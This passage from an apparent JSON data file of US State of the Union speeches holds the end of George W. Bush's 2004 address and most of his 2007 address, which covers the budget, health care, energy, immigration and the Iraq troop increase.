for\nstudents who prepare for college with demanding courses in high school. I\npropose increasing our support for America's fine community colleges, so they\ncan--I do so, so they can train workers for industries that are creating the\nmost new jobs. By all these actions, we'll help more and more Americans to join\nin the growing prosperity of our country. Job training is important, and so is\njob creation. We must continue to pursue an aggressive, progrowth economic\nagenda.Congress has some unfinished business on the issue of taxes. The tax reductions\nyou passed are set to expire. Unless you act, the unfair tax on marriage will go\nback up. Unless you act, millions of families will be charged $300 more in\nFederal taxes for every child. Unless you act, small businesses will pay higher\ntaxes. Unless you act, the death tax will eventually come back to life. Unless\nyou act, Americans face a tax increase. What Congress has given, the Congress\nshould not take away. For the sake of job growth, the tax cuts you passed should\nbe permanent.Our agenda for jobs and growth must help small-business owners and employees\nwith relief from needless Federal regulation and protect them from junk and\nfrivolous lawsuits.Consumers and businesses need reliable supplies of energy to make our economy\nrun, so I urge you to pass legislation to modernize our electricity system,\npromote conservation, and make America less dependent on foreign sources of\nenergy.My administration is promoting free and fair trade to open up new markets for\nAmerica's entrepreneurs and manufacturers and farmers, to create jobs for\nAmerican workers. Younger workers should have the opportunity to build a nest\negg by saving part of their Social Security taxes in a personal retirement\naccount. We should make the Social Security system a source of ownership for the\nAmerican people. And we should limit the burden of Government on this economy by\nacting as good stewards of taxpayers' dollars.In 2 weeks, I will send you a budget that funds the war, protects the homeland,\nand meets important domestic needs while limiting the growth in discretionary\nspending to less than 4 percent. This will require that Congress focus on\npriorities, cut wasteful spending, and be wise with the people's money. By doing\nso, we can cut the deficit in half over the next 5 years.Tonight I also ask you to reform our immigration laws so they reflect our values\nand benefit our economy. I propose a new temporary- worker program to match\nwilling foreign workers with willing employers when no Americans can be found to\nfill the job. This reform will be good for our economy because employers will\nfind needed workers in an honest and orderly system. A temporary-worker program\nwill help protect our homeland, allowing Border Patrol and law enforcement to\nfocus on true threats to our national security.I oppose amnesty, because it would encourage further illegal immigration and\nunfairly reward those who break our laws. My temporary- worker program will\npreserve the citizenship path for those who respect the law while bringing\nmillions of hard-working men and women out from the shadows of American life.Our Nation's health care system, like our economy, is also in a time of change.\nAmazing medical technologies are improving and saving lives. This dramatic\nprogress has brought its own challenge, in the rising costs of medical care and\nhealth insurance. Members of Congress, we must work together to help control\nthose costs and extend the benefits of modern medicine throughout our country.Meeting these goals requires bipartisan effort, and 2 months ago, you showed the\nway. By strengthening Medicare and adding a prescription drug benefit, you kept\na basic commitment to our seniors. You are giving them the modern medicine they\ndeserve.Starting this year, under the law you passed, seniors can choose to receive a\ndrug discount card, saving them 10 to 25 percent off the retail price of most\nprescription drugs, and millions of low-income seniors can get an additional\n$600 to buy medicine. Beginning next year, seniors will have new coverage for\npreventive screenings against diabetes and heart disease, and seniors just\nentering Medicare can receive wellness exams.In January of 2006, seniors can get prescription drug coverage under Medicare.\nFor a monthly premium of about $35, most seniors who do not have that coverage\ntoday can expect to see their drug bills cut roughly in half. Under this reform,\nsenior citizens will be able to keep their Medicare just as it is, or they can\nchoose a Medicare plan that fits them best, just as you, as Members of Congress,\ncan choose an insurance plan that meets your needs. And starting this year,\nmillions of Americans will be able to save money tax-free for their medical\nexpenses in a health savings account.I signed this measure proudly, and any attempt to limit the choices of our\nseniors or to take away their prescription drug coverage under Medicare will\nmeet my veto.On the critical issue of health care, our goal is to ensure that Americans can\nchoose and afford private health care coverage that best fits their individual\nneeds. To make insurance more affordable, Congress must act to address rapidly\nrising health care costs. Small businesses should be able to band together and\nnegotiate for lower insurance rates, so they can cover more workers with health\ninsurance. I urge you to pass association health plans. I ask you to give lower\nincome Americans a refundable tax credit that would allow millions to buy their\nown basic health insurance.By computerizing health records, we can avoid dangerous medical mistakes, reduce\ncosts, and improve care. To protect the doctor-patient relationship and keep\ngood doctors doing good work, we must eliminate wasteful and frivolous medical\nlawsuits. And tonight I propose that individuals who buy catastrophic health\ncare coverage as part of our new health savings accounts be allowed to deduct\n100 percent of the premiums from their taxes.A Government-run health care system is the wrong prescription. By keeping costs\nunder control, expanding access, and helping more Americans afford coverage, we\nwill preserve the system of private medicine that makes America's health care\nthe best in the world.We are living in a time of great change in our world, in our economy, in science\nand medicine. Yet some things endure: courage and compassion, reverence and\nintegrity, respect for differences of faith and race. The values we try to live\nby never change, and they are instilled in us by fundamental institutions such\nas families and schools and religious congregations. These institutions, these\nunseen pillars of civilization, must remain strong in America, and we will\ndefend them. We must stand with our families to help them raise healthy,\nresponsible children. When it comes to helping children make right choices,\nthere is work for all of us to do.One of the worst decisions our children can make is to gamble their lives and\nfutures on drugs. Our Government is helping parents confront this problem with\naggressive education, treatment, and law enforcement. Drug use in high school\nhas declined by 11 percent over the last 2 years. Four hundred thousand fewer\nyoung people are using illegal drugs than in the year 2001. In my budget, I\npropose new funding to continue our aggressive, community-based strategy to\nreduce demand for illegal drugs. Drug testing in our schools has proven to be an\neffective part of this effort. So tonight I propose an additional 23 million for\nschools that want to use drug testing as a tool to save children's lives. The\naim here is not to punish children but to send them this message: We love you,\nand we do not want to lose you.To help children make right choices, they need good examples. Athletics play\nsuch an important role in our society, but unfortunately, some in professional\nsports are not setting much of an example. The use of performance-enhancing\ndrugs like steroids in baseball, football, and other sports is dangerous, and it\nsends the wrong message, that there are shortcuts to accomplishment and that\nperformance is more important than character. So tonight I call on team owners,\nunion representatives, coaches, and players to take the lead, to send the right\nsignal, to get tough, and to get rid of steroids now.To encourage right choices, we must be willing to confront the dangers young\npeople face, even when they're difficult to talk about. Each year, about 3\nmillion teenagers contract sexually transmitted diseases that can harm them or\nkill them or prevent them from ever becoming parents. In my budget, I propose a\ngrassroots campaign to help inform families about these medical risks. We will\ndouble Federal funding for abstinence programs, so schools can teach this fact\nof life: Abstinence for young people is the only certain way to avoid sexually\ntransmitted diseases.Decisions children now make can affect their health and character for the rest\nof their lives. All of us, parents and schools and government, must work\ntogether to counter the negative influence of the culture and to send the right\nmessages to our children.A strong America must also value the institution of marriage. I believe we\nshould respect individuals as we take a principled stand for one of the most\nfundamental, enduring institutions of our civilization. Congress has already\ntaken a stand on this issue by passing the Defense of Marriage Act, signed in\n1996 by President Clinton. That statute protects marriage under Federal law as a\nunion of a man and a woman and declares that one State may not redefine marriage\nfor other States.Activist judges, however, have begun redefining marriage by court order, without\nregard for the will of the people and their elected representatives. On an issue\nof such great consequence, the people's voice must be heard. If judges insist on\nforcing their arbitrary will upon the people, the only alternative left to the\npeople would be the constitutional process. Our Nation must defend the sanctity\nof marriage.The outcome of this debate is important, and so is the way we conduct it. The\nsame moral tradition that defines marriage also teaches that each individual has\ndignity and value in God's sight.It's also important to strengthen our communities by unleashing the compassion\nof America's religious institutions. Religious charities of every creed are\ndoing some of the most vital work in our country: mentoring children, feeding\nthe hungry, taking the hand of the lonely. Yet Government has often denied\nsocial service grants and contracts to these groups, just because they have a\ncross or a Star of David or a crescent on the wall.By Executive order, I have opened billions of dollars in grant money to\ncompetition that includes faith-based charities. Tonight I ask you to codify\nthis into law, so people of faith can know that the law will never discriminate\nagainst them again.In the past, we've worked together to bring mentors to children of prisoners and\nprovide treatment for the addicted and help for the homeless. Tonight I ask you\nto consider another group of Americans in need of help. This year, some 600,000\ninmates will be released from prison back into society. We know from long\nexperience that if they can't find work or a home or help, they are much more\nlikely to commit crime and return to prison. So tonight I propose a 4-year, $300\nmillion prisoner reentry initiative to expand job training and placement\nservices, to provide transitional housing, and to help newly released prisoners\nget mentoring, including from faith-based groups. America is the land of second\nchance, and when the gates of the prison open, the path ahead should lead to a\nbetter life.For all Americans, the last 3 years have brought tests we did not ask for and\nachievements shared by all. By our actions, we have shown what kind of nation we\nare. In grief, we have found the grace to go on. In challenge, we rediscovered\nthe courage and daring of a free people. In victory, we have shown the noble\naims and good heart of America. And having come this far, we sense that we live\nin a time set apart.I've been witness to the character of the people of America, who have shown calm\nin times of danger, compassion for one another, and toughness for the long haul.\nAll of us have been partners in a great enterprise. And even some of the\nyoungest understand that we are living in historic times. Last month a girl in\nLincoln, Rhode Island, sent me a letter. It began, \"Dear George W. Bush. If\nthere's anything you know I, Ashley Pearson, age 10, can do to help anyone,\nplease send me a letter and tell me what I can do to save our country.\" She\nadded this P.S.: \"If you can send a letter to the troops, please put, 'Ashley\nPearson believes in you.' \" Tonight, Ashley, your message to our troops has\njust been conveyed. And yes, you have some duties yourself: Study hard in\nschool; listen to your mom or dad; help someone in need; and when you and your\nfriends see a man or woman in uniform, say, \"Thank you.\" And Ashley, while you\ndo your part, all of us here in this great Chamber will do our best to keep you\nand the rest of America safe and free.My fellow citizens, we now move forward with confidence and faith. Our Nation is\nstrong and steadfast. The cause we serve is right, because it is the cause of\nall mankind. The momentum of freedom in our world is unmistakable, and it is not\ncarried forward by our power alone. We can trust in that greater power who\nguides the unfolding of the years. And in all that is to come, we can know that\nHis purposes are just and true.May God continue to bless America.", 
+    "name": "George W. Bush"
+}
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+{
+    "date": "January 23, 2007", 
+    "speech": "TO THE CONGRESS OF THE UNITED STATES:Thank you very much. Tonight, I have a high privilege and\ndistinct honor of my own -- as the first President to begin the State of the Union\nmessage with these words: Madam Speaker.In his day, the late Congressman Thomas D'Alesandro, Jr., from Baltimore,\nMaryland, saw Presidents Roosevelt and Truman at this rostrum. But nothing could\ncompare with the sight of his only daughter, Nancy, presiding tonight as Speaker\nof the House of Representatives. Congratulations, Madam Speaker.Two Members of the House and Senate are not with us tonight, and we pray for the\nrecovery and speedy return of Senator Tim Johnson and Congressman Charlie\nNorwood.Madam Speaker, Vice President Cheney, Members of Congress, distinguished guests,\nand fellow citizens:This rite of custom brings us together at a defining hour, when decisions are\nhard and courage is tested. We enter the year 2007 with large endeavors under\nway, and others that are ours to begin. In all of this, much is asked of us. We\nmust have the will to face difficult challenges and determined enemies, and the\nwisdom to face them together.Some in this Chamber are new to the House and Senate, and I congratulate the\nDemocratic majority. Congress has changed, but our responsibilities have not.\nEach of us is guided by our own convictions, and to these we must stay faithful.\nYet we are all held to the same standards and called to serve the same good\npurposes: to extend the Nation's prosperity, to spend the people's money wisely,\nto solve problems, not leave them to future generations, to guard America\nagainst all evil, and to keep faith with those we have sent forth to defend us.We are not the first to come here with government divided and uncertainty in the\nair. Like many before us, we can work through our differences and achieve big\nthings for the American people. Our citizens don't much care which side of the\naisle we sit on, as long as we are willing to cross that aisle when there is\nwork to be done. Our job is to make life better for our fellow Americans and\nhelp them to build a future of hope and opportunity, and this is the business\nbefore us tonight.A future of hope and opportunity begins with a growing economy, and that is what\nwe have. We are now in the 41st month of uninterrupted job growth, in a recovery\nthat has created 7.2 million new jobs, so far. Unemployment is low, inflation is\nlow, and wages are rising. The economy is on the move, and our job is to keep it\nthat way, not with more government but with more enterprise.Next week, I will deliver a full report on the state of our economy. Tonight, I\nwant to discuss three economic reforms that deserve to be priorities for this\nCongress.First, we must balance the Federal budget. We can do so without raising taxes.\nWhat we need to do is impose spending discipline in Washington, D.C. We set a\ngoal of cutting the deficit in half by 2009, and met that goal 3 years ahead of\nschedule. Now let us take the next step. In the coming weeks, I will submit a\nbudget that eliminates the Federal deficit within the next 5 years. I ask you to\nmake the same commitment. Together, we can restrain the spending appetite of the\nFederal Government and balance the Federal budget.Next, there is the matter of earmarks. These special interest items are often\nslipped into bills at the last hour, when not even C-SPAN is watching. In 2005\nalone, the number of earmarks grew to over 13,000 and totaled nearly $18\nbillion. Even worse, over 90 percent of earmarks never make it to the floor of\nthe House and Senate. They are dropped into committee reports that are not even\npart of the bill that arrives on my desk. You did not vote them into law. I did\nnot sign them into law. Yet they are treated as if they have the force of law.\nThe time has come to end this practice. So let us work together to reform the\nbudget process, expose every earmark to the light of day and to a vote in\nCongress, and cut the number and cost of earmarks at least in half by the end of\nthis session.Finally, to keep this economy strong we must take on the challenge of\nentitlements. Social Security and Medicare and Medicaid are commitments of\nconscience, and so it is our duty to keep them permanently sound. Yet we are\nfailing in that duty, and this failure will one day leave our children with\nthree bad options: huge tax increases, huge deficits, or huge and immediate cuts\nin benefits. Everyone in this Chamber knows this to be true, yet somehow we have\nnot found it in ourselves to act. So let us work together and do it now. With\nenough good sense and good will, you and I can fix Medicare and Medicaid, and\nsave Social Security.Spreading opportunity and hope in America also requires public schools that give\nchildren the knowledge and character they need in life. Five years ago, we rose\nabove partisan differences to pass the No Child Left Behind Act, preserving\nlocal control, raising standards, and holding those schools accountable for\nresults. And because we acted, students are performing better in reading and\nmath, and minority students are closing the achievement gap.Now the task is to build on this success, without watering down standards,\nwithout taking control from local communities, and without back sliding and\ncalling it reform. We can lift student achievement even higher by giving local\nleaders flexibility to turn around failing schools, and by giving families with\nchildren stuck in failing schools the right to choose someplace better. We must\nincrease funds for students who struggle, and make sure these children get the\nspecial help they need. And we can make sure our children are prepared for the\njobs of the future, and our country is more competitive, by strengthening math\nand science skills. The No Child Left Behind Act has worked for America's\nchildren, and I ask Congress to reauthorize this good law.A future of hope and opportunity requires that all our citizens have affordable\nand available health care. When it comes to health care, government has an\nobligation to care for the elderly, the disabled, and poor children, and we will\nmeet those responsibilities. For all other Americans, private health care\ninsurance is the best way to meet their needs. But many Americans cannot afford\na health insurance policy.So tonight, I propose two new initiatives to help more Americans afford their\nown insurance. First, I propose a standard tax deduction for health insurance\nthat will be like the standard tax deduction for dependents. Families with\nhealth insurance will pay no income or payroll taxes on $15,000 of their income.\nSingle Americans with health insurance will pay no income or payroll taxes on\n$7,500 of their income. With this reform, more than 100 million men, women, and\nchildren who are now covered by employer-provided insurance will benefit from\nlower tax bills.At the same time, this reform will level the playing field for those who do not\nget health insurance through their job. For Americans who now purchase health\ninsurance on their own, this proposal would mean a substantial tax savings,\n$4,500 for a family of four making $60,000 a year. And for the millions of other\nAmericans who have no health insurance at all, this deduction would help put a\nbasic private health insurance plan within their reach. Changing the Tax Code is\na vital and necessary step to making health care affordable for more Americans.My second proposal is to help the States that are coming up with innovative ways\nto cover the uninsured. States that make basic private health insurance\navailable to all their citizens should receive Federal funds to help them\nprovide this coverage to the poor and the sick. I have asked the Secretary of\nHealth and Human Services to work with Congress to take existing Federal funds\nand use them to create \"Affordable Choices\" grants. These grants would give our\nNation's Governors more money and more flexibility to get private health\ninsurance to those most in need.There are many other ways that Congress can help. We need to expand health\nsavings accounts. We need to help small businesses through association health\nplans, we need to reduce costs and medical errors with better information\ntechnology. We will encourage price transparency, and to protect good doctors\nfrom junk lawsuits we need to pass medical liability reform. And in all we do,\nwe must remember that the best health care decisions are made not by government\nand insurance companies, but by patients and their doctors.Extending hope and opportunity in our country requires an immigration system\nworthy of America, with laws that are fair and borders that are secure. When\nlaws and borders are routinely violated, this harms the interests of our\ncountry. To secure our border, we are doubling the size of the Border Patrol,\nand funding new infrastructure and technology.Yet even with all these steps, we cannot fully secure the border unless we take\npressure off the border, and that requires a temporary worker program. We should\nestablish a legal and orderly path for foreign workers to enter our country to\nwork on a temporary basis. As a result, they won't have to try to sneak in, and\nthat will leave border agents free to chase down drug smugglers and criminals\nand terrorists. We will enforce our immigration laws at the work site, and give\nemployers the tools to verify the legal status of their workers, so there is no\nexcuse left for violating the law. We need to uphold the great tradition of the\nmelting pot that welcomes and assimilates new arrivals. We need to resolve the\nstatus of illegal immigrants who are already in our country, without animosity\nand without amnesty.Convictions run deep in this Capitol when it comes to immigration. Let us have a\nserious, civil, and conclusive debate, so that you can pass, and I can sign,\ncomprehensive immigration reform into law.Extending hope and opportunity depends on a stable supply of energy that keeps\nAmerica's economy running and America's environment clean. For too long our\nNation has been dependent on foreign oil, and this dependence leaves us more\nvulnerable to hostile regimes, and to terrorists, who could cause huge\ndisruptions of oil shipments, and raise the price of oil, and do great harm to\nour economy.It is in our vital interest to diversify America's energy supply, and the way\nforward is through technology. We must continue changing the way America\ngenerates electric power, by even greater use of clean coal technology, solar\nand wind energy, and clean, safe nuclear power. We need to press on with battery\nresearch for plug-in and hybrid vehicles and expand the use of clean diesel\nvehicles and biodiesel fuel. We must continue investing in new methods of\nproducing ethanol, using everything from wood chips, to grasses, to agricultural\nwastes.We have made a lot of progress, thanks to good policies here in Washington and\nthe strong response of the market. And now even more dramatic advances are\nwithin reach. Tonight, I ask Congress to join me in pursuing a great goal. Let\nus build on the work we have done and reduce gasoline usage in the United States\nby 20 percent in the next 10 years. When we do that, we will be cutting our\ntotal imports by the equivalent of three-quarters of all the oil we now import\nfrom the Middle East.To reach this goal, we must increase the supply of alternative fuels, by setting\na mandatory fuels standard to require 35 billion gallons of renewable and\nalternative fuels in 2017. And that is nearly five times the current target. At\nthe same time, we need to reform and modernize fuel economy standards for cars\nthe way we did for light trucks, and conserve up to 8\\1/2\\ billion more gallons\nof gasoline by 2017.Achieving these ambitious goals will dramatically reduce our dependence on\nforeign oil, but it is not going to eliminate it. So as we continue to diversify\nour fuel supply, we must also step up domestic oil production in environmentally\nsensitive ways. And to further protect America against severe disruptions to our\noil supply, I ask Congress to double the current capacity of the Strategic\nPetroleum Reserve.America is on the verge of technological breakthroughs that will enable us to\nlive our lives less dependent on oil. These technologies will help us become\nbetter stewards of the environment, and they will help us to confront the\nserious challenge of global climate change.A future of hope and opportunity requires a fair, impartial system of justice.\nThe lives of our citizens across our Nation are affected by the outcome of cases\npending in our Federal courts. We have a shared obligation to ensure that the\nFederal courts have enough judges to hear those cases and deliver timely\nrulings. As president, I have a duty to nominate qualified men and women to\nvacancies on the Federal bench. And the United States Senate has a duty as well,\nto give those nominees a fair hearing and a prompt up-or-down vote on the Senate\nfloor.For all of us in this room, there is no higher responsibility than to protect\nthe people of this country from danger. Five years have come and gone since we\nsaw the scenes and felt the sorrow that the terrorists can cause. We have had\ntime to take stock of our situation. We have added many critical protections to\nguard the homeland. We know with certainty that the horrors of that September\nmorning were just a glimpse of what the terrorists intend for us, unless we stop\nthem.With the distance of time, we find ourselves debating the causes of conflict and\nthe course we have followed. Such debates are essential when a great democracy\nfaces great questions. Yet one question has surely been settled, that to win the\nwar on terror we must take the fight to the enemy.From the start, America and our allies have protected our people by staying on\nthe offense. The enemy knows that the days of comfortable sanctuary, easy\nmovement, steady financing, and free-flowing communications are long over. For\nthe terrorists, life since 9/11 has never been the same.Our success in this war is often measured by the things that did not happen. We\ncannot know the full extent of the attacks that we and our allies have prevents,\nbut here is some of what we do know: we stopped an al Qaeda plot to fly a\nhijacked airplane into the tallest building on the west coast. We broke up a\nSoutheast Asian terrorist cell grooming operatives for attacks inside the United\nStates. We uncovered an al Qaeda cell developing anthrax to be used in attacks\nagainst America. And just last August, British authorities uncovered a plot to\nblow up passenger planes bound for America over the Atlantic Ocean. For each\nlife saved, we owe a debt of gratitude to the brave public servants who devote\ntheir lives to finding the terrorists and stopping them.Every success against the terrorists is a reminder of the shoreless ambitions of\nthis enemy. The evil that inspired and rejoiced in 9/11 is still at work in the\nworld. And so long as that is the case, America is still a Nation at war.In the minds of the terrorists, this war began well before September 11 and will\nnot end until their radical vision is fulfilled. And these past 5 years have\ngiven us a much clearer view of the nature of this enemy. Al Qaeda and its\nfollowers are Sunni extremists, possessed by hatred and commanded by a harsh and\nnarrow ideology. Take almost any principle of civilization, and their goal is\nthe opposite. They preach with threats, instruct with bullets and bombs, and\npromise paradise for the murder of the innocent.Our enemies are quite explicit about their intentions. They want to overthrow\nmoderate governments and establish safe havens from which to plan and carry out\nnew attacks on our country. By killing and terrorizing Americans, they want to\nforce our country to retreat from the world and abandon the cause of liberty.\nThey would then be free to impose their will and spread their totalitarian\nideology. Listen to this warning from the late terrorist Zarqawi: \"We will\nsacrifice our blood and bodies to put an end to your dreams, and what is coming\nis even worse.\" And Osama bin Laden declared: \"Death is better than living on\nthis Earth with the unbelievers among us.\"These men are not given to idle words, and they are just one camp in the\nIslamist radical movement. In recent times, it has also become clear that we\nface an escalating danger from Shia extremists who are just as hostile to\nAmerica and are also determined to dominate the Middle East. Many are known to\ntake direction from the regime in Iran, which is funding and arming terrorists\nlike Hezbollah, a group second only to al Qaeda in the American lives it has\ntaken.The Shia and Sunni extremists are different faces of the same totalitarian\nthreat. Whatever slogans they chant, when they slaughter the innocent, they have\nthe same wicked purposes. They want to kill Americans, kill democracy in the\nMiddle East, and gain the weapons to kill on an even more horrific scale.In the sixth year since our Nation was attacked, I wish I could report to you\nthat the dangers had ended. They have not. And so it remains the policy of this\ngovernment to use every lawful and proper tool of intelligence, diplomacy, law\nenforcement, and military action to do our duty, to find these enemies, and to\nprotect the American people.This war is more than a clash of arms. It is a decisive ideological struggle,\nand the security of our Nation is in the balance. To prevail, we must remove the\nconditions that inspire blind hatred, and drove 19 men to get onto airplanes and\nto come and kill us. What every terrorist fears most is human freedom, societies\nwhere men and women make their own choices, answer to their own conscience, and\nlive by their hopes instead of their resentments. Free people are not drawn to\nviolent and malignant ideologies, and most will choose a better way when they\nare given a chance. So we advance our own security interests by helping\nmoderates, reformers, and brave voices for democracy. The great question of our\nday is whether America will help men and women in the Middle East to build free\nsocieties and share in the rights of all humanity. And I say, for the sake of\nour own security, we must.In the last 2 years, we have seen the desire for liberty in the broader Middle\nEast, and we have been sobered by the enemy's fierce reaction. In 2005, the\nworld watched as the citizens of Lebanon raised the banner of the Cedar\nRevolution. They drove out the Syrian occupiers, and chose new leaders in free\nelections. In 2005, the people of Afghanistan defied the terrorists and elected\na democratic legislature. And in 2005, the Iraqi people held three national\nelections, choosing a transitional government, adopting the most progressive,\ndemocratic constitution in the Arab world, and then electing a government under\nthat constitution. Despite endless threats from the killers in their midst,\nnearly 12 million Iraqi citizens came out to vote in a show of hope and\nsolidarity we should never forget.A thinking enemy watched all of these scenes, adjusted their tactics, and in\n2006 they struck back. In Lebanon, assassins took the life of Pierre Gemayel, a\nprominent participant in the Cedar Revolution. Hezbollah terrorists, with\nsupport from Syria and Iran, sowed conflict in the region and are seeking to\nundermine Lebanon's legitimately elected government. In Afghanistan, Taliban and\nal Qaeda fighters tried to regain power by regrouping and engaging Afghan and\nNATO forces. In Iraq, al Qaeda and other Sunni extremists blew up one of the\nmost sacred places in Shia Islam, the Golden Mosque of Samarra. This atrocity,\ndirected at a Muslim house of prayer, was designed to provoke retaliation from\nIraqi Shia, and it succeeded. Radical Shia elements, some of whom receive\nsupport from Iran, formed death squads. The result was a tragic escalation of\nsectarian rage and reprisal that continues to this day.This is not the fight we entered in Iraq, but it is the fight we are in. Every\none of us wishes that this war were over and won. Yet it would not be like us to\nleave our promises unkept, our friends abandoned, and our own security at risk.\nLadies and gentlemen, on this day, at this hour, it is still within our power to\nshape the outcome of this battle. Let us find our resolve and turn events toward\nvictory.We are carrying out a new strategy in Iraq, a plan that demands more from Iraq's\nelected government and gives our forces in Iraq the reinforcements they need to\ncomplete their mission. Our goal is a democratic Iraq that upholds the rule of\nlaw, respects the rights of its people, provides them security, and is an ally\nin the war on terror.In order to make progress toward this goal, the Iraqi Government must stop the\nsectarian violence in its capital. But the Iraqis are not yet ready to do this\non their own. So we are deploying reinforcements of more than 20,000 additional\nsoldiers and marines to Iraq. The vast majority will go to Baghdad, where they\nwill help Iraqi forces to clear and secure neighborhoods, and serve as advisers\nembedded in Iraqi Army units. With Iraqis in the lead, our forces will help\nsecure the city by chasing down the terrorists, insurgents, and the roaming\ndeath squads. And in Anbar province, where al Qaeda terrorists have gathered and\nlocal forces have begun showing a willingness to fight them, we are sending an\nadditional 4,000 United States marines, with orders to find the terrorists and\nclear them out. We did not drive al Qaeda out of their safe haven in Afghanistan\nonly to let them set up a new safe haven in a free Iraq.The people of Iraq want to live in peace, and now is the time for their\ngovernment to act. Iraq's leaders know that our commitment is not open ended.\nThey have promised to deploy more of their own troops to secure Baghdad, and\nthey must do so. They have pledged that they will confront violent radicals of\nany faction or political party. And they need to follow through and lift\nneedless restrictions on Iraqi and Coalition forces so these troops can achieve\ntheir mission of bringing security to all of the people of Baghdad. Iraq's\nleaders have committed themselves to a series of benchmarks to achieve\nreconciliation, to share oil revenues among all of Iraq's citizens, to put the\nwealth of Iraq into the rebuilding of Iraq, to allow more Iraqis to reenter\ntheir nation's civic life, to hold local elections, and to take responsibility\nfor security in every Iraqi province. But for all of this to happen, Baghdad\nmust be secured. And our plan will help the Iraqi Government take back its\ncapital and make good on its commitments.My fellow citizens, our military commanders and I have carefully weighed the\noptions. We discussed every possible approach. In the end, I chose this course\nof action because it provides the best chance for success. Many in this Chamber\nunderstand that America must not fail in Iraq, because you understand that the\nconsequences of failure would be grievous and far reaching.If American forces step back before Baghdad is secure, the Iraqi Government\nwould be overrun by extremists on all sides. We could expect an epic battle\nbetween Shia extremists backed by Iran, and Sunni extremists aided by al Qaeda\nand supporters of the old regime. A contagion of violence could spill out across\nthe country, and in time the entire region could be drawn into the conflict.For America, this is a nightmare scenario. For the enemy, this is the objective.\nChaos is their greatest ally in this struggle. And out of chaos in Iraq would\nemerge an emboldened enemy with new safe havens, new recruits, new resources,\nand an even greater determination to harm America. To allow this to happen would\nbe to ignore the lessons of September 11 and invite tragedy. And ladies and\ngentlemen, nothing is more important at this moment in our history than for\nAmerica to succeed in the Middle East, to succeed in Iraq, and to spare the\nAmerican people from this danger.This is where matters stand tonight, in the here and now. I have spoken with\nmany of you in person. I respect you and the arguments you have made. We went\ninto this largely united, in our assumptions and in our convictions. And\nwhatever you voted for, you did not vote for failure. Our country is pursuing a\nnew strategy in Iraq, and I ask you to give it a chance to work. And I ask you\nto support our troops in the field, and those on their way.The war on terror we fight today is a generational struggle that will continue\nlong after you and I have turned our duties over to others. That is why it is\nimportant to work together so our Nation can see this great effort through. Both\nparties and both branches should work in close consultation. And this is why I\npropose to establish a special advisory council on the war on terror, made up of\nleaders in Congress from both political parties. We will share ideas for how to\nposition America to meet every challenge that confronts us. And we will show our\nenemies abroad that we are united in the goal of victory.One of the first steps we can take together is to add to the ranks of our\nmilitary, so that the American Armed Forces are ready for all the challenges\nahead. Tonight I ask the Congress to authorize an increase in the size of our\nactive Army and Marine Corps by 92,000 in the next 5 years. A second task we can\ntake on together is to design and establish a volunteer civilian reserve corps.\nSuch a corps would function much like our military reserve. It would ease the\nburden on the Armed Forces by allowing us to hire civilians with critical skills\nto serve on missions abroad when America needs them. And it would give people\nacross America who do not wear the uniform a chance to serve in the defining\nstruggle of our time.Americans can have confidence in the outcome of this struggle, because we are\nnot in this struggle alone. We have a diplomatic strategy that is rallying the\nworld to join in the fight against extremism. In Iraq, multinational forces are\noperating under a mandate from the United Nations, and we are working with\nJordan, Saudi Arabia, Egypt, and the gulf states to increase support for Iraq's\ngovernment. The United Nations has imposed sanctions on Iran and made it clear\nthat the world will not allow the regime in Tehran to acquire nuclear weapons.\nWith the other members of the Quartet, the U.N., the European Union and Russia,\nwe are pursuing diplomacy to help bring peace to the Holy Land, and pursuing the\nestablishment of a democratic Palestinian state living side by side with Israel\nin peace and security. In Afghanistan, NATO has taken the lead in turning back\nthe Taliban and al Qaeda offensive, the first time the alliance has deployed\nforces outside the North Atlantic area. Together with our partners in China,\nJapan, Russia, and South Korea, we are pursuing intensive diplomacy to achieve a\nKorean Peninsula free of nuclear weapons. And we will continue to speak out for\nthe cause of freedom in places like Cuba, Belarus, and Burma, and continue to\nawaken the conscience of the world to save the people of Darfur.American foreign policy is more than a matter of war and diplomacy. Our work in\nthe world is also based on a timeless truth: to whom much is given, much is\nrequired. We hear the call to take on the challenges of hunger and poverty and\ndisease, and that is precisely what America is doing. We must continue to fight\nHIV/AIDS, especially on the continent of Africa. Because you funded our\nEmergency Plan for AIDS Relief, the number of people receiving life-saving drugs\nhas grown from 50,000 to more than 800,000 in 3 short years. I ask you to\ncontinue funding our efforts to fight HIV/AIDS, and I ask you to provide $1.2\nbillion over 5 years so we can combat malaria in 15 African countries. I ask\nthat you fund the Millennium Challenge Account so that American aid reaches the\npeople who need it, in nations where democracy is on the rise and corruption is\nin retreat. And let us continue to support the expanded trade and debt relief\nthat are the best hope for lifting lives and eliminating poverty.When America serves others in this way, we show the strength and generosity of\nour country. These deeds reflect the character of our people. The greatest\nstrength we have is the heroic kindness, courage, and self-sacrifice of the\nAmerican people. You see this spirit often if you know where to look, and\ntonight we need only look above to the gallery.Dikembe Mutombo grew up in Africa amid great poverty and disease. He came to\nGeorgetown University on a scholarship to study medicine, but Coach John\nThompson got a look at Dikembe and had a different idea. Dikembe became a star\nin the NBA and a citizen of the United States. But he never forgot the land of\nhis birth, or the duty to share his blessings with others. He built a brand-new\nhospital in his old hometown. A friend has said of this good hearted man:\n\"Mutombo believes that God has given him this opportunity to do great things.\"\nAnd we are proud to call this son of the Congo a citizen of the United States of\nAmerica.After her daughter was born, Julie Aigner-Clark searched for ways to share her\nlove of music and art with her child. So she borrowed some equipment and began\nfilming children's videos in her basement. The Baby Einstein Company was born,\nand in just 5 years her business grew to more than $20 million in sales. In\nNovember 2001, Julie sold Baby Einstein to Walt Disney Company; and with her\nhelp, Baby Einstein has grown into a $200 million business. Julie represents the\ngreat enterprising spirit of America. And she is using her success to help\nothers, producing child safety videos with John Walsh of the National Center for\nMissing and Exploited Children. Julie says of her new project: \"I believe it is\nthe most important thing that I have ever done. I believe that children have the\nright to live in a world that is safe.\" And so tonight we are pleased to welcome\nthis talented business entrepreneur and generous social entrepreneur, Julie\nAigner-Clark.Three weeks ago, Wesley Autry was waiting at a Harlem subway station with his\ntwo little girls, when he saw a man fall into the path of a train. With seconds\nto act, Wesley jumped onto the tracks, pulled the man into the space between the\nrails, and held him as the train passed right above their heads. He insists he\nis not a hero. He says: \"We got guys and girls overseas dying for us to have our\nfreedoms. We have got to show each other some love.\" There is something\nwonderful about a country that produces a brave and humble man like Wesley\nAutry.Tommy Rieman was a teenager pumping gas in Independence, Kentucky, when he\nenlisted in the United States Army. In December 2003, he was on a reconnaissance\nmission in Iraq when his team came under heavy enemy fire. From his Humvee,\nSergeant Rieman returned fire. He used his body as a shield to protect his\ngunner. He was shot in the chest and arm, and received shrapnel wounds to his\nlegs, yet he refused medical attention 